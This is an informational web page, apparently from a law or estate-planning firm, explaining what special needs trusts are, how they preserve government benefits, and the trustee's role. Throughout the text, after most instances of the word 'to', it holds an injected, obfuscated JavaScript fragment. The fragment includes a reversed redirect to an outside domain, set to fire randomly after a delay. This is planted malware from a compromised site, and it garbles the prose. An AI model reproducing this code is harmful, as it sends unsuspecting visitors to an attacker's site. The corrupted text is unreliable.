Special Needs Trusts

Who will care for my relative when I’m gone? This is a common question for those caring for a loved one with a disability. Providing continued care for physical or psychological disabilities raises complex questions, and many people opt for a special needs trust when planning for the future. A special needs trust is a way tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to provide support for a dependent disabled person and keep them financially secure when you are no longer able tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to care for them. They are commonly established for disabled children or ailing spouses. Once established, a special needs trust is irrevocable for as long as funds remain, until the recipient no longer needs it.

A special needs trust allows the beneficiary, the person with a disability, tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to use money and other property held in the trust, while at the same time allowing them tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to receive government benefits. Typically, people with disabilities only qualify tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to receive government benefits if they have an extremely low income. A special needs trust is a way of leaving money tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the recipient so they can continue tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to qualify for benefits, while improving their quality of life.

A special needs trust can also protect against financial abuse. The trust is managed by a trustee, who can be a close friend, a relative, or a professional. The trustee is charged with managing the money so the beneficiary does not need tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make financial decisions tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to support their care. The trustee also ensures the funds are spent for the beneficiary. This can include necessities like rent, food, caregiving and medical expenses, but can also include extras like vacations, electronics and clothes.

A special needs trust provides the opportunity tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to leave very individualized instructions about the beneficiary and his or her needs, as well as directions about how trust funds can and cannot be used. While there are preprinted forms that anyone can use tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prepare a special needs trust, working with an attobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torney tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to create a special needs trust ensures the trust will be tailored tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to your family’s situation, without jeopardizing the integrity of the trust.

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